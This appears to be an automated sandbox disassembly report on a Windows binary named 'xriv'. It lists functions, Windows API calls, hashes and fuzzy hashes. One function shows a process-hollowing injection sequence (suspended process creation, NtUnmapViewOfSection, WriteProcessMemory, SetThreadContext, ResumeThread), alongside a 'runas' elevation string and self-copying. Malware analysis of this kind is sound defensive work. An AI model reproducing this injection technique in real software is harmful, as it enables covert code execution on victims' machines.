Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 13b6da85c07aa9a2b53e41c478508cf35cd64b98ec1dae9d8964f562839b4d11
Instruction ID: c306d650995716ed2df48557ca6430d36a1dc6f7299172e46d998b9143b86a5b
Opcode Fuzzy Hash: 13b6da85c07aa9a2b53e41c478508cf35cd64b98ec1dae9d8964f562839b4d11
Instruction Fuzzy Hash: CEA12632A045558FCF1EDFA8D855BAE3BE1AB0A324F14015DE912AF392DB34DC52CB52

Uniqueness

Uniqueness Score: -1.00%

Function 011D9C30 Relevance: 7.7, APIs: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 011D9C90

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: b4f1f8c1b6f7583a5ed31e2e3cd31c5e84da48615e0c46c1efdb238e7e7bf9fa
Instruction ID: 306002a519a5ce266d391ca47b6dd116349fe44af605be81a1c5cb0ae86539ba
Opcode Fuzzy Hash: b4f1f8c1b6f7583a5ed31e2e3cd31c5e84da48615e0c46c1efdb238e7e7bf9fa
Instruction Fuzzy Hash: A4A1B0B0A002688BEF28DB24CC487DDBBB5AF45318F4441D8D60967282DB715FC8CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 011D3FF0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 470
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 011D42B9
SetCurrentDirectoryA.KERNEL32(00000000,9BC7B195), ref: 011D4364

Strings

runas, xrefs: 011D3B63

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CurrentDirectorySleep
String ID: runas
API String ID: 16921501-4000483414
Opcode ID: 8d5b32cb5e9ff687618d6a9cc5ef1e96baeec0940e19ee19eed6f5c6088e40ef
Instruction ID: 0fd4b8e401c8a46b3c89951ef66b5b95afc128ee2d52eddcd4b1632dd1e0c9d7
Opcode Fuzzy Hash: 8d5b32cb5e9ff687618d6a9cc5ef1e96baeec0940e19ee19eed6f5c6088e40ef
Instruction Fuzzy Hash: 0BE16C71A102449BEB0CEBB8CD4979DBFB2EF56318F54824CE411AB7C5DB359A408BD2

Uniqueness

Uniqueness Score: -1.00%

Function 011DA032 Relevance: 4.6, APIs: 3, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?), ref: 011DA04D
GetFileAttributesA.KERNELBASE(?,?,?,?,?), ref: 011DA068
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 011DA1A5

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: File$AttributesCopyCreateDirectory
String ID:
API String ID: 210682061-0
Opcode ID: 737033a20c78800e0eb0c5a7c9040abb6579c4449cc9a353c3dd98565f2e3213
Instruction ID: 29589715f1dd299ca9d1e48c8e5194819f8b83cc35e02f2c27eb0d48e5c7dbb9
Opcode Fuzzy Hash: 737033a20c78800e0eb0c5a7c9040abb6579c4449cc9a353c3dd98565f2e3213
Instruction Fuzzy Hash: E7412CB1A001188FEB1CDB78CC9979CBB75AF45318F4401DCD609A32C2DB316AC48F6A

Uniqueness

Uniqueness Score: -1.00%

Function 011D9D04 Relevance: 3.3, APIs: 2, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 011D9EB5
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 011DA1A5

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: File$CopyModuleName
String ID:
API String ID: 4108865673-0
Opcode ID: 0f3add74d98103cbaf77194bc2daff9a9a892de9cef1d903d6f7cf4eca4cfc51
Instruction ID: bd172c3ff7e06874141e0be945fb8e8b0709fc03dde4229aadb551de32814796
Opcode Fuzzy Hash: 0f3add74d98103cbaf77194bc2daff9a9a892de9cef1d903d6f7cf4eca4cfc51
Instruction Fuzzy Hash: C0C12BB1A001188BEB2CDB38CC587DDBF75AF51218F4442D8D649A72C2DB359EC58F66

Uniqueness

Uniqueness Score: -1.00%

Function 011EC59C Relevance: 3.1, APIs: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 011EC60A
_free.LIBCMT ref: 011EC62A

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 659f4f3fbfdc27f6f1588d91c5e4004e483787ceca99c27e40ddecea9e14a165
Instruction ID: bfb9e48ce07ae4e2bd29d24f24ba49552d1a250c8c6eb7176c3cb3e402db9bdb
Opcode Fuzzy Hash: 659f4f3fbfdc27f6f1588d91c5e4004e483787ceca99c27e40ddecea9e14a165
Instruction Fuzzy Hash: 9E41B336E006109FDB28DFA8C884A5EB7F6EF89714F1545A9D916EB351D730ED02CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011F4D8F Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 011F4DB0

Part of subcall function 011EDB3C: RtlAllocateHeap.NTDLL(00000000,?,?,?,011E8272,?,?,?,?,?,011D20C3,?,?), ref: 011EDB6E

RtlReAllocateHeap.NTDLL(00000000,?,?,00000004,00000000,?,011F0E8A,?,00000004,00000002,?,?,?,011EC625,?,00000002), ref: 011F4DEC

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: 2a6439adf6706fd6afb2134fe174e85c05adbca6a9bc89060be5a4efde1366e3
Instruction ID: e3c890f6d3f0041808bbc0de4192799d3146ea68a659b5038f6ed69ba337704e
Opcode Fuzzy Hash: 2a6439adf6706fd6afb2134fe174e85c05adbca6a9bc89060be5a4efde1366e3
Instruction Fuzzy Hash: 62F0BB3164191666DB3E2EAABC04FAF3B9C9FB1575F16022DFF589A9D0DF30C44081A6

Uniqueness

Uniqueness Score: -1.00%

Function 011E5E20 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 011E5F53

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction ID: fa49e8b60cd02adb4ea2594d3b29e8e995cb1f899d61d01e5401b585069e7987
Opcode Fuzzy Hash: 99a60c00e11d80a0fe42efdd695636690d312d340402f51b068320ab2a9b3208
Instruction Fuzzy Hash: 5D312875700A009BD72C9EFC988856EFBEAEF55228B14437EE925C7381DB709D448792

Uniqueness

Uniqueness Score: -1.00%

Function 011E7403 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 011D218E

Part of subcall function 011E8483: RaiseException.KERNEL32(E06D7363,00000001,00000003,011D216C,?,?,?,011D216C,?,01206D1C), ref: 011E84E3

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: ec5fab1d3333aac8503318a2db848b0c8d933b19d294be03a9c66e73158c2b52
Instruction ID: 00a9d9cd189fea6b3dbbcd03d6f00cd2c9c9c081a802aab7b409010de99b0489
Opcode Fuzzy Hash: ec5fab1d3333aac8503318a2db848b0c8d933b19d294be03a9c66e73158c2b52
Instruction Fuzzy Hash: 3401D675810A0E77DB1CFAE8EC0899DBBECDE10118B508629FB14A6590FB70EA54C6D2

Uniqueness

Uniqueness Score: -1.00%

Function 011ED4B1 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 011ED4EB

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f4b1fd8fa4d268923be55267a6ebfd6a0f2946132b5fd3696a916a9b9eccb385
Instruction ID: 75d55cff6ba111557c4582d6548827b56301a06493c951e32bc2fece7b20b65a
Opcode Fuzzy Hash: f4b1fd8fa4d268923be55267a6ebfd6a0f2946132b5fd3696a916a9b9eccb385
Instruction Fuzzy Hash: 83111871A0420AAFCF09DF98E94599B7BF4EF48318F054059F809AB251E770EA11CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 011EED56 Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 011EF925: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,011EE0E6,00000001,00000364,00000006,000000FF,?,?,011E8272,?), ref: 011EF966

_free.LIBCMT ref: 011EEDC5

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction ID: dfc452f240516c4d81445353a59317be7de53271ffa022d858bdb39afdb3a2b8
Opcode Fuzzy Hash: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction Fuzzy Hash: 1E014972604717ABC3298FDDD88899EFFD8FB053B0F01062AE559A76C0E7706810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 011F2621 Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 011F2684

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction ID: 7299486a8485b1bafe2ea825b7fe613660c8bc5449eea7e187596ffbee2c514c
Opcode Fuzzy Hash: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction Fuzzy Hash: 9B012C72C0115AAFCF05AFE89C05AEE7FB5BF18214F144569AE14A2160E7328A60DB91

Uniqueness

Uniqueness Score: -1.00%

Function 011EF925 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,011EE0E6,00000001,00000364,00000006,000000FF,?,?,011E8272,?), ref: 011EF966

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 29e1b6ffda2b588abb048351bb30277c14021b4c3584210445035c9cb70dd7f7
Instruction ID: d97b6aca2f8c8e7aa6f8ac8925a5c080dfe4602d7866324543c2f2e6ca6352bb
Opcode Fuzzy Hash: 29e1b6ffda2b588abb048351bb30277c14021b4c3584210445035c9cb70dd7f7
Instruction Fuzzy Hash: E2F02431605E2776AB2E1AFA8C0CB5B3BC8AF512B4B058111BD94971C0EB20D80287F1

Uniqueness

Uniqueness Score: -1.00%

Function 011EDB3C Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,011E8272,?,?,?,?,?,011D20C3,?,?), ref: 011EDB6E

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 912b65e068649dc22c0f8808a90a12ca128436f368c54ee9542488de2f34a426
Instruction ID: 2c7aaa35fc47a1ec527cb2d1f4633bfc8a3d586abf554169cd0f6eb086a1e67e
Opcode Fuzzy Hash: 912b65e068649dc22c0f8808a90a12ca128436f368c54ee9542488de2f34a426
Instruction Fuzzy Hash: 76E06C35545E1167EE3D15E97C0DB5B7AD9AB532B5F0A0114ED15971C4EB10C44082E5

Uniqueness

Uniqueness Score: -1.00%

Function 011F2368 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,011F2758,?,?,00000000,?,011F2758,00000000,0000000C), ref: 011F2385

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 950ca8c887abc5aaa3508e3024c06274d67f2588423288dc843e103504f7b89d
Instruction ID: dd081eea39a2c1684c4bea2effc64ecf9f2ae51994a0bf48a0eaec3244ead512
Opcode Fuzzy Hash: 950ca8c887abc5aaa3508e3024c06274d67f2588423288dc843e103504f7b89d
Instruction Fuzzy Hash: 19D06C3200010DBBDF128E85DD46EDA3FAAFB48714F014010BA1856020C732E871EB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011D3740 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 294injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 011D38E6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 011D394B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 011D3964
GetThreadContext.KERNEL32(?,00000000), ref: 011D397F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 011D39A3
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 011D39BE
GetProcAddress.KERNEL32(00000000), ref: 011D39C5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 011D39ED
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 011D3A0E
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 011D3A5A
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 011D3A96
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 011D3AB2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 011D3ABE
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 011D3ACC
VirtualFree.KERNEL32(?,00000000,00008000), ref: 011D3AED

Strings

NtUnmapViewOfSection, xrefs: 011D39B4
, xrefs: 011D3998
ntdll.dll, xrefs: 011D39B9

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1522589568
Opcode ID: 651151569e1297f776b6b97f72158d04800098ec9a7528ff0c824d6bbbd45d38
Instruction ID: 5211f317e0f1b7042b30d5179bf1a2238a6d97709ea6ebba16d2b2587766b244
Opcode Fuzzy Hash: 651151569e1297f776b6b97f72158d04800098ec9a7528ff0c824d6bbbd45d38
Instruction Fuzzy Hash: 43B1D571A00618EFEB29CF68DC49BEABBB5FF48714F100269F615A62D0D771A980CF51

Uniqueness

Uniqueness Score: -1.00%

Function 011D7F00 Relevance: 20.1, APIs: 13, Instructions: 612synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000000,?,0120918C,9BC7B195,?,00000000,00000000), ref: 011D7F61
GetLastError.KERNEL32(?,00000000,00000000), ref: 011D7F67

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 87c8ef8af8138801b9137551380ae0f96f91a8dcb0000223eac7e9a0e22f347e
Instruction ID: b1d3895078de0b52cd74d695d71ee99f2379f4dab72423291a50e5901374d681
Opcode Fuzzy Hash: 87c8ef8af8138801b9137551380ae0f96f91a8dcb0000223eac7e9a0e22f347e
Instruction Fuzzy Hash: DF225771A001089FEB1CDFA8CC88BDEBBB6EF55318F54426CE515A72D5DB349A80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 011F3C76 Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 011F3CF8
_free.LIBCMT ref: 011F3D1C
_free.LIBCMT ref: 011F3EA9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01202620), ref: 011F3EBB
_free.LIBCMT ref: 011F4075

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: ec57665b36054ec33110cc75aa23a66c4cca660d34c93e4153c0cbcc1eba3eec
Instruction ID: 0f46d4a7b1e9ef699fbafb58a3de4fff51e77dc59f3610cbf49b32207765ada5
Opcode Fuzzy Hash: ec57665b36054ec33110cc75aa23a66c4cca660d34c93e4153c0cbcc1eba3eec
Instruction Fuzzy Hash: 75C18671A10206AFDB2EDF7CD844BAEBBB9FF15254F54016ED7A097282E7308A41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011E7AFC Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 011E7B12

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f9de6ca0bbcbcacd77b2fd78ba615e45a1941eaa8a105679145292643c025ff0
Instruction ID: ad1d9b49da8b7708023493235607e4e159ae6f3ddd3d3c34962c6cdca16e81ee
Opcode Fuzzy Hash: f9de6ca0bbcbcacd77b2fd78ba615e45a1941eaa8a105679145292643c025ff0
Instruction Fuzzy Hash: 8551A7719006058FEF3ACFA8E88936ABBF5FB48314F148669C506E7385D3759580CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011D30E0 Relevance: 27.2, APIs: 18, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

